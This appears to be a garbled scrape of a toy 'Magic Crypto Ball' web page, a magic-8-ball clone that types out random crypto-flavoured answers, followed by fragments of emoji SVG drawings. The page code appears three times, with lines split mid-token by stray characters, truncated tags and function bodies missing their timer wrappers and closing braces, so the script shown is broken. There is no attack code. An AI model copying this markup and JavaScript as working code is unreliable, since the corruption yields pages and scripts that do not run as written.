		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","That makes no sense!","Are you kidding me?","Highly likely","Outlook promising","Yes","Price is uncertain, try again","What kind of answer do you expect?","It's too volatile to tell now","What are you even asking?","Study the charts and ask again","No, but I'll give you a joke!","My reply is M
no","I'm not sure what to say!","Outlook not so good","Very doubtful","Go ask someone else!","Go ahead, make my day!","The market sees potential","It's a great opportunity!","I'm all ears for a good joke!","Outlook not so promising","Outlook is grim"];
		var complains=["Please don't interrupt me", "I'm still talking here","Let me finish, please","Please wait your turn to speak","Respectfully, don't talk over me","Do not interrupt me, it's rude"];
		var changeMind=["I'm reconsidering my choice","I'm backtracking",M
"I'm having second thoughts","I'm having doubts now","I'm revising my earlier decision"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
		var changedMind=0;
		function magicBall() {
			if (interrupted==1||changedMind==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*100;
				if (Math.floor(Math.random()*4)==0)
					getChangeMind();
			},randomAnswer.length*100+1000);
		function getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<rM
andomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function getChangeMind(){
			if (interrupted==1||changedMind==1) return;
			var randomChangeMind=changeMind[Math.floor(Math.random()*changeMind.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomChangeMind.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomChangeMind[i];
			},randomChangeMind.length*80+1000);
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vwM
);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#800080;text-shadow: 0px 0px 5px #800080;}
		.fade {animation: 17s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.orgM
				<circle r="49%" cy="50%" cx="50%" fill="#800080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#900090"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#800080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#900090" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
op offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#800080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#FCEA2B"/>
    <path fill="#FFFFFF" d="M32.1434,47.3742c-0.282,1.7234-0.4344,5.4883,3.8566,4.64v-4.3697"/>
    <path fill="#FFFFFF" d="M39.8566,47.3742c0.282,1.7234,0.4344,5.4883-3.8566,4.64v-4.3697"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="rouM
nd" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M19.074,30.4073c0,0-0.953,8.5508,6.8608,7.9185c2.6197-0.212,7.8164-0.6507,7.867-8.3427 c0.0046-0.6979-0.0078-1.5989-0.8108-2.6298c-1.0647-1.3669-3.5716-1.9711-9.9446-1.422 C23.0465,25.9314,19.6002,25.8323,19.074,30.4073z"/>
    <polyline fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-wM
idth="2" points="19.1447,29.8742 18.7117,26.5029 22.5446,25.9752"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M52.9325,30.4073c0,0,0.953,8.5508-6.8608,7.9185c-2.6197-0.212-7.8164-0.6507-7.867-8.3427 c-0.0046-0.6979,0.0078-1.5989,0.8108-2.6298c1.0647-1.3669,3.5716-1.9711,9.9446-1.422 C48.9601,25.9314,52.4064,25.8323,52.9325,30.4073z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-mitM
erlimit="10" stroke-width="2" d="M31.6962,26.3593c0,0,4.1241,2.5339,8.6569,0"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M33.8022,31.2614c0,0,2.1275-3.7509,4.383,0"/>
    <polyline fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" points="52.8552,29.8767 53.2883,26.5054 49.4554,25.9777"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoiM
n="round" stroke-miterlimit="10" stroke-width="2" d="M34.1463,29.9706c0,0,1.7954-3.7509,3.6988,0"/>
    <path fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2" d="M32.1434,47.3742 c-0.282,1.7234-0.4344,5.4883,3.8566,4.64v-4.3697"/>
    <path d="M30,31c0,1.6568-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6552,1.3447-3,3-3C28.6552,28,30,29.3448,30,31"/>
    <path d="M48,31c0,1.6568-1.3447,3-3,3s-3-1.3433-3-3c0-1.6552,1.3447-3,3-3S48,29.3448,48,31"/>
    <path fill="none" stroke="#000000" stroke-miterliM+
mit="10" stroke-width="2" d="M39.8566,47.3742 c0.282,1.7234,0.4344,5.4883-3.8566,4.64v-4.3697"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M45.8148,44.8055c-6.574,3.5248-14.0454,3.6576-19.6295,0"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#FCEA2B" d="M36,13c-12.6823,0-23,10.3177-23,23s10.3177,23,23,23s23-10.3178,23-23C59.0001,23.3177,48.6823,13,36,13z"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" M
stroke-miterlimit="10" stroke-width="2" d="M23.0708,27.7432c0.4132-0.344,2.2456-1.7915,4.9091-1.6364c2.1608,0.1259,3.61,1.2333,4.0909,1.6364"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M48.9292,27.0952c-0.4132,0.344-2.2456,1.7915-4.9091,1.6364c-2.1608-0.1259-3.61-1.2333-4.0909-1.6364"/>
    <path d="M30,35c0,1.6568-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6552,1.3447-3,3-3C28.6552,32,30,33.3448,30,35"/>
    <path d="M48,35c0,1.65L
68-1.3447,3-3,3s-3-1.3433-3-3c0-1.6552,1.3447-3,3-3S48,33.3448,48,35"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M29.1321,47.1385 c4.6002-1.4165,9.8284-1.4698,13.7359,0"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <ellipse cx="36" cy="35.6432" rx="23" ry="23" fill="#FCEA2B"/>
    <path fill="#9B9B9A" d="M58.2965,54.1981l-1.9462,1.9462c-0.9381,0.9381-2.459,0.9381-3.397,0l-4.8606-4.8606 c-0.9381-0.9381-0.9381-2.459,0-3.397l1.9462-1.9462c0.9381-0.9381,2.459-0.9381,3.397,0l4.8606,4.8606 C59.2345,51.7391,59.2345,53.26,58.2965,54.1981z"/>
    <path fill="#D0CFCE" d="M50.3547,47.7874l-0.5122,0.5122c-0.2878,0.2878-0.7544,0.2878-1.0421,0l-1.6M
157-1.6157 c-0.2878-0.2878-0.2878-0.7544,0-1.0421l0.5122-0.5122c0.2878-0.2878,0.7544-0.2878,1.0421,0l1.6157,1.6157 C50.6425,47.033,50.6425,47.4996,50.3547,47.7874z"/>
  <g id="skin-shadow"/>
    <line x1="47.7051" x2="24.0398" y1="45.6842" y2="45.5954" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="24.5607" x2="24.5607" y1="45.8654" y2="49.1684" fill="none" stroke="#000000" sM
troke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="26.4723" x2="26.4723" y1="42.0256" y2="45.3286" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="28.4129" x2="28.4129" y1="45.8654" y2="49.1684" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="30.3245" x2="30.3245" y1="42.0256" y2="45.3286" fill="noneM
" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="32.2527" x2="32.2527" y1="45.8654" y2="49.1684" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="34.1643" x2="34.1643" y1="42.0256" y2="45.3286" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="36.1049" x2="36.1049" y1="45.8654" y2=M
"49.1684" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="38.0165" x2="38.0165" y1="42.0256" y2="45.3286" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="39.9323" x2="39.9323" y1="45.8654" y2="49.1684" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="41.8439" x2="41.84M
39" y1="42.0256" y2="45.3286" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="43.8134" x2="43.8134" y1="45.8654" y2="49.1684" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="45.7003" x2="45.7003" y1="42.0256" y2="45.3286" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
ll="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M50.9177,45.3276 c0.8493-0.3076,1.8373-0.121,2.5182,0.56l4.8606,4.8606c0.938,0.938,0.938,2.4589,0,3.397l-1.9462,1.9462 c-0.9381,0.9381-2.459,0.9381-3.397,0l-4.8606-4.8606c-0.6461-0.6461-0.8472-1.5687-0.6033-2.3869"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M57.4811,44.2366C58.4623,41.6794,59,38.9025,59,36c0-12.7031-10.2979-23-23-23c-12.MF
7023-0.0001-23,10.2969-23,23 c0,12.7022,10.2978,23,23,23c4.0701,0,7.8933-1.0574,11.21-2.9123"/>
    <path d="M30,31c0,1.6568-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6552,1.3447-3,3-3C28.6552,28,30,29.3448,30,31"/>
    <path d="M48,31c0,1.6568-1.3447,3-3,3s-3-1.3433-3-3c0-1.6552,1.3447-3,3-3S48,29.3448,48,31"/>
<svg id="emoji" viewBox="0 0 72 72" version="1.1" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36.2" r="24" fill="#FCEA2B"/>
    <path fill="#FCEA2B" d="M19.1,62.3c-0.3-1.2-0.4-2.4-0.3-3.6c0.2-1.1,2.3-6.5,2.7-7.3s1.4-4.5,2.4-4.8c1-0.3,1.2,0.1,1.1,0.7 S24.4,55,24.4,55l9.4-2.8c0,0,7.7-1.9,7.9-1c2.1,2-5.4,4.5-7.5,4.4c0,0,1.1,0.6,0.9,1.3s-0.8,1.2-1,1.2s0.5,0.5,0.6,1.4 c0.9,1.8-2.8,2.3-2.8,2.3c1.3-0.2,3.3,2.1,0.1,2.7c-1,0.3-4.8,1.4-4.8,1.4s-3.3,1.2-5.2-0.1C20.8,65,19.7,63.8,19.1,62.3z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M28.9,44.5c2.4-0.7,11.9,0.5,14.1,2.1"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M22.4,22.5c1.3-0.9,2.8-1.3,4.4-1.1c1.6,0,3.1,0.6,4.2,1.7"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M51.1,26.5c-2.7-0.7-5.5-0.8-8.2-0.3"/>
    <path fill="none" stroke="#000000" sM
troke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M42,58.4c12.3-3.3,19.5-15.9,16.2-28.2S42.3,10.7,30,14c-10,2.7-17,11.8-17,22.2c0,4.6,1.4,9.2,4,13"/>
    <path d="M31,30.7c0,1.7-1.3,3-3,3s-3-1.3-3-3s1.3-3,3-3S31,29,31,30.7"/>
    <path d="M48,33.7c0,1.7-1.3,3-3,3s-3-1.3-3-3s1.3-3,3-3S48,32,48,33.7"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19.7,56.7c-1,1.6-1.2,3.7-0.5,5.5c1.1,3.3,4,5.2,7.2,4.2l4.9-1.4l1-0.3c0.8-0.2,1.3-1.1,1.1-1.8l0,M
0 c-0.2-0.5-0.6-0.9-1.2-1l1.2-0.3c0.8-0.2,1.3-1.1,1.1-1.8c-0.2-0.5-0.6-1-1.2-1.1l1.2-0.4c0.8-0.2,1.3-1.1,1.1-1.8 c-0.1-0.5-0.5-0.9-1-1l6.4-1.9c0.8-0.2,1.3-1.1,1.1-1.8s-1.1-1.3-1.8-1.1l0,0l-10.2,3l-5.1,1.5l0.6-7.8c0.1-0.9-1.5-1.2-2.1,0.2 L19.7,56.7z"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36.0001" cy="36" r="24" fill="#FCEA2B"/>
    <polygon fill="#F1B31C" points="25.0424,21.2371 33.0285,20.0364 29.1238,27.1056 32.7335,34.3298 24.8037,32.8007 19.0485,38.4662 18.0524,30.452 10.8857,26.7292 18.1999,23.3052 19.5258,15.3389"/>
    <polygon fill="#F1B31C" points="46.8821,21.2371 38.896,20.0364 42.8007,27.1056 39.191,34.3298 47.1208,32.8007 52.876,38.4662 53.8721,30.452 61.0388,26.7292 53.7246,23.3052 M
    <path fill="#EA5A47" d="M49.7371,46.356c-1.79,4.27-6.35,7.23-13.7,7.23c-7.41,0-12.03-3.03-13.8-7.36 C24.2671,46.686,37.2171,49.3959,49.7371,46.356z"/>
    <path fill="#FFFFFF" d="M50.6071,41.866c0,1.6-0.29,3.11-0.87,4.49c-12.52,3.04-25.47,0.33-27.5-0.13 c-0.55-1.35-0.83-2.82-0.83-4.36h0.11c0,0,14.81,3.59,28.89,0.07L50.6071,41.866z"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="rM
ound" stroke-miterlimit="10" stroke-width="2" d="M50.6071,41.866c0,1.6-0.29,3.11-0.87,4.49c-12.52,3.04-25.47,0.33-27.5-0.13c-0.55-1.35-0.83-2.82-0.83-4.36h0.11 c0,0,14.81,3.59,28.89,0.07L50.6071,41.866z"/>
    <path fill="none" stroke="#000000" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M49.7371,46.356 c-1.79,4.27-6.35,7.23-13.7,7.23c-7.41,0-12.03-3.03-13.8-7.36C24.2671,46.686,37.2171,49.3959,49.7371,46.356z"/>
    <path fill="none" stroke="#000000" stroke-linejoin="round" stroke-miterlimit=M
"10" stroke-width="2" d="M50.2271,46.236 c-0.16,0.04-0.33,0.08-0.49,0.12"/>
    <path fill="none" stroke="#000000" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M22.2371,46.226 c-0.19-0.05-0.28-0.07-0.28-0.07"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M46.5542,15.5591C43.3932,13.9237,39.8045,13,36,13c-3.9546,0-7.676,0.9979-10.9261,2.7556 c-0.0502,0.0271-0.1002,0.0544-0.1501,0.0819"/>
    <path fill="none" sM
troke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M13.1945,32.9954c-0.1283,0.9833-0.1944,1.9862-0.1944,3.0046c0,12.7022,10.2969,23,23,23c12.7022,0,23-10.2978,23-23 c0-1.0073-0.0648-1.9995-0.1903-2.9726"/>
    <polygon fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" points="25.1179,21.2371 33.104,20.0364 29.1993,27.1056 32.809,34.3298 24.8792,32.8007 19.124,38.4662 18.1279,30.452 10.9612,26.729M[
2 18.2754,23.3052 19.6013,15.3389"/>
    <polygon fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" points="46.8821,21.2371 38.896,20.0364 42.8007,27.1056 39.191,34.3298 47.1208,32.8007 52.876,38.4662 53.8721,30.452 61.0388,26.7292 53.7246,23.3052 52.3987,15.3389"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#FCEA2B" d="M36,12c-13.2337,0-24,10.7663-24,24s10.7663,24,24,24s24-10.7664,24-24C60.0001,22.7663,49.2337,12,36,12z"/>
    <path fill="#FCEA2B" d="M37.4298,44.1622c0,0,8.7363-0.0809,12.075,0.5893c3.3387,0.6701,6.7322,2.0667,9.1412,0.9499 c1.1362-0.5267,1.6476-1.6404,1.7222-2.7085c0.1014-1.0659-0.2206-2.2484-1.255-2.9542c-2.1935-1.4965-5.7742-0.6235-9.1776-0.5096 s-12.0084-1.3976-12.0084-1.3976"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M20.9493,27.2768c0.851-1.3097,2.1554-2.2567,3.6642-2.659c1.4662-0.5614,3.0882-0.5534,4.5496,0.0179"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M50.5587,26.2722c-1.3537-2.8907-4.4525-4.543-7.6074-4.056"/>
    <path fill="none" stroke="#000M
000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M58.9634,34.6991C58.289,22.6013,48.2654,13,35.9998,13C23.2968,13,13,23.2968,13,35.9998 c0,12.7021,10.2968,22.9998,22.9998,22.9998c7.0803,0,13.4135-3.1996,17.6326-8.2316"/>
    <path d="M30,31c0,1.6568-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6552,1.3447-3,3-3C28.6552,28,30,29.3448,30,31"/>
    <path d="M48,31c0,1.6568-1.3447,3-3,3s-3-1.3433-3-3c0-1.6552,1.3447-3,3-3S48,29.3448,48,31"/>
    <path fill="none" stroke="#000000M
" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M39.7224,50.6354c0,0-5.7186-1.8346-8.8718,1.5503"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M37.4298,44.1622c0,0,8.7363-0.0809,12.075,0.5893c3.3387,0.6701,6.7322,2.0667,9.1412,0.9499 c1.1362-0.5267,1.6476-1.6404,1.7222-2.7085c0.1014-1.0659-0.2206-2.2484-1.255-2.9542c-2.1935-1.4965-5.7742-0.6235-9.1776-0.5096 s-12.0084-1.3976-12.0084-1.39
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="38" r="24" fill="#FCEA2B"/>
    <path fill="#6A462F" d="M36,23.3153c9.267-0.1288,15.3345-2.4577,15.3345-2.4577c2.5862,2.315,4.6453,5.2066,5.9755,8.4727 c0,0,10.5948-8.3618,2.2954-15.1052c0,0-4.0069-3.8593-10.0363,1.6462c0,0-3.8861,3.6651-13.5691,3.706 c-9.683-0.0409-13.5691-3.706-13.5691-3.706c-6.0294-5.5055-10.0363-1.6462-10.0363-1.6462 C4.0952,20.9685,14.69,29.3303,14.69,29.3303c1.3301-3.2661,3.3893-6.M
1577,5.9755-8.4727 C20.6655,20.8576,26.733,23.1866,36,23.3153z"/>
    <path fill="#6A462F" d="M36,19.5773c6.0519-0.0256,9.767-1.4279,11.7566-2.5053c0,0-1.6341-0.5702-1.3904-2.7816 c0.0725-0.6576,0.3541-1.6277,0.7107-2.549c0.6391-1.651,0.1938-2.9689-4.1138-5.1348c0,0-2.0825-1.0407-2.8202-1.2739 C39.0599,4.9904,37.209,4.7124,36,6.1508c-1.209-1.4384-3.0599-1.1604-4.1428-0.8181c-0.7377,0.2332-2.8202,1.2739-2.8202,1.2739 c-4.3076,2.1659-4.7529,3.4838-4.1138,5.1348c0.3566,0.9213,0.6382,1.8914,0.7107,2.549c0.2437,2.2114-1M
.3904,2.7816-1.3904,2.7816 C26.233,18.1494,29.9481,19.5517,36,19.5773L36,19.5773z"/>
    <path fill="#FFFFFF" d="M50.595,43.64c0.012,1.5397-0.2838,3.0662-0.87,4.49c-12.49,3.03-25.43,0.34-27.49-0.13 c-0.5588-1.3852-0.8407-2.8664-0.83-4.36h0.11c0,0,14.8,3.59,28.89,0.07L50.595,43.64z"/>
    <path fill="#EA5A47" d="M49.7251,48.13c-1.79,4.27-6.35,7.23-13.69,7.23c-7.41,0-12.03-3.03-13.8-7.36 C24.2951,48.47,37.235,51.16,49.7251,48.13z"/>
  <g id="skin-shadow"/>
<ellipse cx="28.0684" cy="32.818" rx="3" ry="5.4038"/>
    <ellipse cx="43.9316" cy="32.8216" rx="3" ry="5.4038"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M58.4382,32.925C58.8059,34.5577,59,36.2562,59,38c0,12.7025-10.2975,23-23,23S13,50.7025,13,38 c0-1.7438,0.1941-3.4423,0.5618-5.075"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M36,23.3153c9.M
